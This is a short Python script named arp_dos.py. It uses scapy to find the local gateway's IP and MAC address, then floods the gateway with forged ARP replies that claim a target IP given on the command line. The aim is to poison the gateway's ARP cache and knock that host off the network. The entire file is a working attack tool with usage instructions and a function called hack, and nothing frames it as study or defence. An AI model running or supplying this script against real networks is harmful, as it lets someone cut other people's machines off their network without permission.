#coding:utf-8 #example :sudo  python arp_dos.py  192.168.1.103 from scapy.all import ARP,send import os,re,sys def get_gateway_ip():     t=os.popen('route -n')     for i in t:         if i.startswith('0.0.0.0'):             r=re.split("\s+",i)             return r[1] def get_gateway_hw(ip):     t=os.popen('arp -e %s' % ip)     for i in t:         if i.startswith(ip):             r=re.split("\s+",i)             return r[2] def hack(hackip):     ip=get_gateway_ip()     hw=get_gateway_hw(ip)     arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)     #os.popen('ifconfig eth0 %s' % hackip )     while 1:         send(arp) def help():     print ("USEAGE: sudo python arp_dos.py 192.168.1.100") def main():     if len(sys.argv) != 2:         help()     else:         hack(sys.argv[1]) if __name__=="__main__":     main()